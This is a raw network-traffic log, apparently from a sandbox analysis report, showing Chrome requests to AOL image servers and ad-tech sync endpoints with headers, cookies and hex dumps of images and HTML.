2024-05-23 22:34:56 UTC	796	OUT	GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-11%2Faacb3290-4bb5-11ec-9dff-c91b8179f931&client=76f99bdb8f78cd44cc0b&signature=9db333fbfbd97c489dfb11e31107155b55541a73 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:56 UTC	1128	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 53803 Cache-Control: public, max-age=2592000 Cache-Tag: 352991030521014136013954760138177611573,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21933-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:34:56 GMT Edge-Cache-Tag: 352991030521014136013954760138177611573,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e Etag: "6e73e8b5f42f8eb2a888e9482f70c0d2" Expiration: expiry-date="Fri, 09 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sat, 10 Feb 2024 19:36:14 GMT Server: ECAcc (lhd/3586) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=16,height=16,bytes=331,owidth=400,oheight=400,obytes=35383,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000067-IAD X-Timer: S1711265893.348713,VS0,VE1 Content-Length: 331 Connection: close
2024-05-23 22:34:56 UTC	331	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 00 57 50 4c 54 45 47 70 4c 3c 5b aa 3c 5a aa 4c 68 b1 3b 5a aa 3b 5a a9 47 64 af 41 5f ac 3c 5b aa 3c 5b aa 43 61 ad 3b 5a aa 3c 5b aa 3b 5a a9 3a 59 a9 47 64 af d1 d8 eb 93 a5 d0 53 6e b4 5e 77 b9 77 8d c4 71 87 c1 a2 b0 d6 8a 9d cc 7f 93 c8 68 7f bd c0 ca e4 3f 5d ab 4d 69 b2 95 87 8f 5c 00 00 00 0e 74 52 4e 53 00 d9 f9 09 d9 f9 09 31 97 9a 09 c1 c1 c1 e6 cc 46 c8 00 00 00 95 49 44 41 54 18 d3 65 8f d9 0e 83 30 0c 04 43 0a 24 81 76 9d fb 80 fe ff 77 d6 29 08 2a 75 f2 e4 b1 56 f1 0a c1 28 3d 48 39 68 25 0e 1e 06 27 66 fe ce 4f 5c ac dd 18 fc 60 38 0f 0a c1 07 e2 e7 09 50 42 a3 c5 9c 36 b2 b0 ef 06 68 31 00 c9 61 f3 2c d2 0e 8c 42 02 31 f3 d6 92 0d 15 Data Ascii: PNGIHDR(-SWPLTEGpL<[<ZLh;Z;ZGdA_<[<[Ca;Z<[;Z:YGdSn^wwqh?]Mi\tRNS1FIDATe0C$vw)*uV(=H9h%'fO\`8PB6h1a,B1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
266	192.168.2.6	50003	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:56 UTC	803	OUT	GET /images/dims?quality=80&thumbnail=400%2C300%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_the_hill_articles_315%2Fa8f1b79ccfa49ece83246e7de9753c7f&client=76f99bdb8f78cd44cc0b&signature=17a3754ad81162af66e87793ce5ba329a1e10d89 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:56 UTC	1147	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 9733 Cache-Control: public, max-age=2592000 Cache-Tag: 420998328187826613583268327840334718409,367645156490926147778111915858571068248,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kjyo7100035-IAD cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_id: a1859f090c68d4b44bad838e820fabd9 cld_latency: 416 Content-Type: image/jpeg Date: Thu, 23 May 2024 22:34:56 GMT Edge-Cache-Tag: 420998328187826613583268327840334718409,367645156490926147778111915858571068248,ae7a14591aaf8d474cdb3f92111c923e Etag: "f4801dbad3e499f858984fbb07651783" Last-Modified: Thu, 23 May 2024 19:52:47 GMT Server: ECAcc (lhd/35D5) Status: 200 OK Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=400,height=300,bytes=24761,owidth=900,oheight=505,obytes=125832,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Request-Id: a1859f090c68d4b44bad838e820fabd9 X-Served-By: cache-iad-kjyo7100035-IAD X-Timer: S1716493966.795046,VS0,VE416 Content-Length: 24761 Connection: close
2024-05-23 22:34:56 UTC	16383	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 06 06 06 06 07 06 07 08 08 07 0a 0b 0a 0b 0a 0f 0e 0c 0c 0e 0f 16 10 11 10 11 10 16 22 15 19 15 15 19 15 22 1e 24 1e 1c 1e 24 1e 36 2a 26 26 2a 36 3e 34 32 34 3e 4c 44 44 4c 5f 5a 5f 7c 7c a7 01 06 06 06 06 07 06 07 08 08 07 0a 0b 0a 0b 0a 0f 0e 0c 0c 0e 0f 16 10 11 10 11 10 16 22 15 19 15 15 19 15 22 1e 24 1e 1c 1e 24 1e 36 2a 26 26 2a 36 3e 34 32 34 3e 4c 44 44 4c 5f 5a 5f 7c 7c a7 ff c2 00 11 08 01 2c 01 90 03 01 22 00 02 11 01 03 11 01 ff c4 00 35 00 00 02 03 01 01 01 01 01 00 00 00 00 00 00 00 00 04 05 03 06 07 02 08 01 00 09 01 00 02 03 01 01 00 00 00 00 00 00 00 00 00 00 00 02 03 00 01 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 5c 0d 39 7c 9a 39 75 1b 3e 56 84 e6 bd Data Ascii: JFIF""$$6&&6>424>LDDL_Z_\|\|""$$6&&6>424>LDDL_Z_\|\|,"5\9\|9u>V
2024-05-23 22:34:56 UTC	8378	IN	Data Raw: 37 f3 02 7b ef 15 68 75 4f 06 a1 6d a0 28 38 d2 fc f7 c2 81 93 5a 96 ff 00 64 4b ca e4 ce 1f 24 7d 2b b5 1b 9c ba 5a d6 a6 ae da 26 dc e8 b8 34 b6 b3 8f c1 89 fc 18 35 23 ad 12 07 7e 2a 46 f1 4d 03 86 a9 b8 e2 52 da ee 6a ed ab a5 65 75 ac 03 ec 0d 43 70 6a 0f 74 1e 2b cd 13 47 38 a9 85 13 51 db fb 09 f0 1a ef 32 bf b3 0a 57 51 b9 53 fb 1a fe 5f 67 b0 f7 75 11 b8 41 26 28 7b 3a d0 20 f4 a8 ee df ba 64 e2 a1 98 4e 80 72 3d d8 d3 25 a2 be 60 8c d6 e7 e4 ae 48 f9 34 2d d8 07 cb 6e da 79 9c 0e 5a 32 68 2c b1 72 fd 34 99 9a f0 ed 6a d3 69 ba fb b5 21 81 08 81 86 af b5 42 1c 0e cb 24 96 07 83 f3 5e 15 db 56 c5 a7 73 b3 04 c0 d7 d0 f1 3b 53 db 77 c8 09 a4 84 1f f5 13 bf c0 a1 da 16 df 61 36 7b 50 0c ba fc 84 b0 7d 34 13 a3 4e ff 00 4a 2e 47 d0 50 0b d0 0a 8b fd Data Ascii: 7{huOm(8ZdK$}+Z&45#~*FMRjeuCpjt+G8Q2WQS_guA&({: dNr=%`H4-nyZ2h,r4ji!B$^Vs;Swa6{P}4NJ.GP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
267	192.168.2.6	50006	35.214.149.91	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:56 UTC	673	OUT	GET /sync?ssp=gumgum2&user_id=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:56 UTC	831	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 23 May 2024 22:34:56 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: https://x.bidswitch.net/ul_cb/sync?ssp=gumgum2&user_id=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac&gdpr=0&gdpr_consent=&us_privacy=1YNN Set-Cookie: tuuid=ad3998d2-fd62-4225-919d-66f459efadb2; path=/; expires=Fri, 23-May-2025 22:34:56 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: c=1716503696; path=/; expires=Fri, 23-May-2025 22:34:56 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: tuuid_lu=1716503696; path=/; expires=Fri, 23-May-2025 22:34:56 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: c=1716503696; path=/; expires=Fri, 23-May-2025 22:34:56 GMT; domain=.bidswitch.net; samesite=none; secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
268	192.168.2.6	50009	52.212.30.128	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:56 UTC	716	OUT	GET /sync/gumgum?gdpr=0&gdpr_consent= HTTP/1.1 Host: pr-bh.ybp.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:34:56 UTC	852	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:34:56 GMT Content-Length: 0 Connection: close Location: https://usersync.gumgum.com/usersync?b=oth&i=y-BSMCIFhE2pcm2NCXOZVvX6OjZ.YQy641a2GU~A Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: sandbox; default-src 'self'; script-src 'none'; object-src 'none'; report-uri http://csp.yahoo.com/beacon/csp?src=generic Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:34:56 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
269	192.168.2.6	50013	151.101.193.44	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:57 UTC	740	OUT	GET /libtrc/static/topics/taboola-browsing-topics.html HTTP/1.1 Host: cdn.taboola.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: abLdr=21
2024-05-23 22:34:57 UTC	738	IN	HTTP/1.1 200 OK Connection: close Content-Length: 664 x-amz-id-2: SnOS9M40wCDU0DxLlkmaj1gXl+W7qOHj9h/MF73v3G2Hu9ua21X3QriXCIhJgjz2Z5wOVn+kdMc= x-amz-request-id: XF0B44PV18MQ5S1X x-amz-replication-status: COMPLETED Last-Modified: Tue, 13 Feb 2024 13:15:59 GMT ETag: "8b140f0f0f6e1a0f986cc7d6dfd74d65" x-amz-server-side-encryption: AES256 x-amz-version-id: 4MpQ_aQntJKuJTBB3LGK3B7cfa8k5k0b Content-Type: text/html Server: AmazonS3 Accept-Ranges: bytes Age: 35863 Date: Thu, 23 May 2024 22:34:57 GMT Via: 1.1 varnish X-Served-By: cache-ewr18174-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1716503698.860240,VS0,VE1 Cache-Control: private,max-age=31536000 Vary: Accept-Encoding abp: 87 Access-Control-Allow-Origin: *
2024-05-23 22:34:57 UTC	664	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 61 62 6f 6f 6c 61 20 54 6f 70 69 63 73 20 46 72 61 6d 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 28 61 73 79 6e 63 28 29 3d 3e 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 73 3d 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 28 22 62 72 6f 77 73 69 6e 67 54 6f 70 69 63 73 22 69 6e 20 64 6f 63 75 6d 65 6e 74 26 26 64 6f 63 75 6d 65 6e 74 2e 66 65 61 74 75 72 65 50 6f 6c 69 63 79 2e 61 6c 6c 6f 77 73 46 65 61 74 75 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>Taboola Topics Frame</title> <script> (async()=>{ var s=document.referrer; if("browsingTopics"in document&&document.featurePolicy.allowsFeatu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
270	192.168.2.6	50014	151.101.193.44	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:57 UTC	779	OUT	GET /scripts/prebid_iframe_sync.html?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1 HTTP/1.1 Host: cdn.taboola.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: abLdr=21
2024-05-23 22:34:57 UTC	734	IN	HTTP/1.1 200 OK Connection: close Content-Length: 5311 x-amz-id-2: jgsDQ+oE5EhC7JNHPIYHBsQACIQEPMrNCaKyOVSu7ARefqE7Lt5Lv0vgiuDGV4MLowJ/D14PLeU= x-amz-request-id: PVW35VQ522FCSS2A x-amz-replication-status: COMPLETED Last-Modified: Thu, 30 Nov 2023 18:35:31 GMT ETag: "ba0777792ce6c88cb6ac61d50f5ed420" x-amz-server-side-encryption: AES256 x-amz-version-id: 7Bl.XaNXVuUlHrm3kacHfal8wWJB1784 Content-Type: text/html Server: AmazonS3 Accept-Ranges: bytes Age: 0 Date: Thu, 23 May 2024 22:34:57 GMT Via: 1.1 varnish X-Served-By: cache-ewr18176-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1716503698.860550,VS0,VE37 Cache-Control: private,max-age=14400 Vary: Accept-Encoding abp: 20 Access-Control-Allow-Origin: *
2024-05-23 22:34:57 UTC	1378	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 0a 20 20 20 20 20 20 20 20 20 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d Data Ascii: <!doctype html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"> <meta http-equiv="X-UA-Compatible" content=
2024-05-23 22:34:57 UTC	1378	IN	Data Raw: 21 3d 20 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 20 26 26 20 61 72 72 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 20 7c 7c 20 61 72 72 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 20 69 66 20 28 6e 75 6c 6c 20 21 3d 20 5f 69 29 20 7b 20 76 61 72 20 5f 73 2c 20 5f 65 2c 20 5f 78 2c 20 5f 72 2c 20 5f 61 72 72 20 3d 20 5b 5d 2c 20 5f 6e 20 3d 20 21 30 2c 20 5f 64 20 3d 20 21 31 3b 20 74 72 79 20 7b 20 69 66 20 28 5f 78 20 3d 20 28 5f 69 20 3d 20 5f 69 2e 63 61 6c 6c 28 61 72 72 29 29 2e 6e 65 78 74 2c 20 30 20 3d 3d 3d 20 69 29 20 7b 20 69 66 20 28 4f 62 6a 65 63 74 28 5f 69 29 20 21 3d 3d 20 5f 69 29 20 72 65 74 75 72 6e 3b 20 5f 6e 20 3d 20 21 31 3b 20 7d 20 65 6c 73 65 20 66 6f 72 20 28 3b 20 21 28 5f 6e 20 3d 20 28 5f 73 20 3d 20 5f 78 2e 63 61 6c Data Ascii: != typeof Symbol && arr[Symbol.iterator] \|\| arr["@@iterator"]; if (null != _i) { var _s, _e, _x, _r, _arr = [], _n = !0, _d = !1; try { if (_x = (_i = _i.call(arr)).next, 0 === i) { if (Object(_i) !== _i) return; _n = !1; } else for (; !(_n = (_s = _x.cal
2024-05-23 22:34:57 UTC	1378	IN	Data Raw: 6c 53 74 6f 72 61 67 65 3b 0a 20 20 20 20 76 61 72 20 72 65 61 64 46 72 6f 6d 4c 73 20 3d 20 66 75 6e 63 74 69 6f 6e 20 72 65 61 64 46 72 6f 6d 4c 73 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 75 69 64 20 3d 20 6e 75 6c 6c 3b 0a 20 20 20 20 20 20 69 66 20 28 6c 73 29 20 7b 0a 20 20 20 20 20 20 20 20 74 72 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 75 69 64 20 3d 20 6c 73 2e 67 65 74 49 74 65 6d 28 54 41 42 4f 4f 4c 41 5f 47 4c 4f 42 41 4c 5f 55 53 45 52 5f 4b 45 59 29 3b 0a 20 20 20 20 20 20 20 20 7d 20 63 61 74 63 68 20 28 65 72 72 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 75 69 64 20 3d 20 6e 75 6c 6c 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 72 65 74 75 72 6e 20 75 69 64 3b 0a 20 20 20 20 7d 3b 0a 20 20 20 20 76 61 Data Ascii: lStorage; var readFromLs = function readFromLs() { var uid = null; if (ls) { try { uid = ls.getItem(TABOOLA_GLOBAL_USER_KEY); } catch (err) { uid = null; } } return uid; }; va
2024-05-23 22:34:57 UTC	1177	IN	Data Raw: 43 6f 6f 6b 69 65 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 76 61 72 20 75 69 64 46 72 6f 6d 54 52 43 20 3d 20 77 69 6e 64 6f 77 2e 54 52 43 20 3f 20 77 69 6e 64 6f 77 2e 54 52 43 2e 75 73 65 72 5f 69 64 20 3a 20 75 6e 64 65 66 69 6e 65 64 3b 0a 20 20 20 20 20 20 69 66 20 28 75 69 64 46 72 6f 6d 54 52 43 29 20 7b 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 75 69 64 46 72 6f 6d 54 52 43 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 72 65 74 75 72 6e 20 75 6e 64 65 66 69 6e 65 64 3b 0a 20 20 20 20 7d 3b 0a 20 20 20 20 76 61 72 20 6c 6f 61 64 49 66 73 53 63 72 69 70 74 20 3d 20 66 75 6e 63 74 69 6f 6e 20 6c 6f 61 64 49 66 73 53 63 72 69 70 74 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 69 66 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 Data Ascii: Cookie; } var uidFromTRC = window.TRC ? window.TRC.user_id : undefined; if (uidFromTRC) { return uidFromTRC; } return undefined; }; var loadIfsScript = function loadIfsScript() { var ifs = document.creat

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
271	192.168.2.6	50016	54.170.121.32	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:57 UTC	727	OUT	GET /pbcas?us_privacy=1YNN&gdpr=0&gdpr_consent=&type=iframe HTTP/1.1 Host: ads.yieldmo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:57 UTC	862	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:34:57 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Set-Cookie: yieldmo_id=VI3M3YYKKoYShFji8P8C%7C1716422400000%7C0; Max-Age=31536000; Expires=Fri, 23 May 2025 22:34:57 GMT; Domain=yieldmo.com; Path=/; Secure; SameSite=None Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Cache-Control, Pragma, * Access-Control-Allow-Methods: POST, GET, OPTIONS Pragma: no-cache Accept-CH: Sec-CH-UA,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Model,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile Set-Cookie: re_sync=pp%3D1192856%7Crc%3D1192856%7Cc%3D1192856%7Cdv360%3D1192856%7Can%3D1192856; Max-Age=31536000; Expires=Fri, 23 May 2025 22:34:57 GMT; Domain=ads.yieldmo.com; Path=/; Secure; SameSite=None vary: accept-encoding
2024-05-23 22:34:57 UTC	860	IN	Data Raw: 33 35 35 0d 0a 3c 68 74 6d 6c 3e 0a 3c 62 6f 64 79 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 79 69 65 6c 64 6d 6f 5f 64 62 6d 26 67 6f 6f 67 6c 65 5f 63 6d 26 70 6e 5f 69 64 3d 63 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 22 20 62 6f 72 64 65 72 3d 22 30 22 20 68 65 69 67 68 74 3d 22 31 22 20 77 69 64 74 68 3d 22 31 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2d 65 75 2e 72 75 62 69 63 6f 6e 70 72 6f 6a 65 63 74 2e 63 6f 6d 2f 65 78 63 68 61 6e 67 65 2f 73 79 6e 63 2e 70 68 70 3f 70 3d 79 69 65 6c 64 6d 6f 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f Data Ascii: 355<html><body><img src="https://cm.g.doubleclick.net/pixel?google_nid=yieldmo_dbm&google_cm&pn_id=c" style="display: none;" border="0" height="1" width="1"><img src="https://pixel-eu.rubiconproject.com/exchange/sync.php?p=yieldmo" style="display: no
2024-05-23 22:34:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
272	192.168.2.6	50021	172.64.149.180	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:57 UTC	691	OUT	GET /um/ixmatch.html HTTP/1.1 Host: js-sec.indexww.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
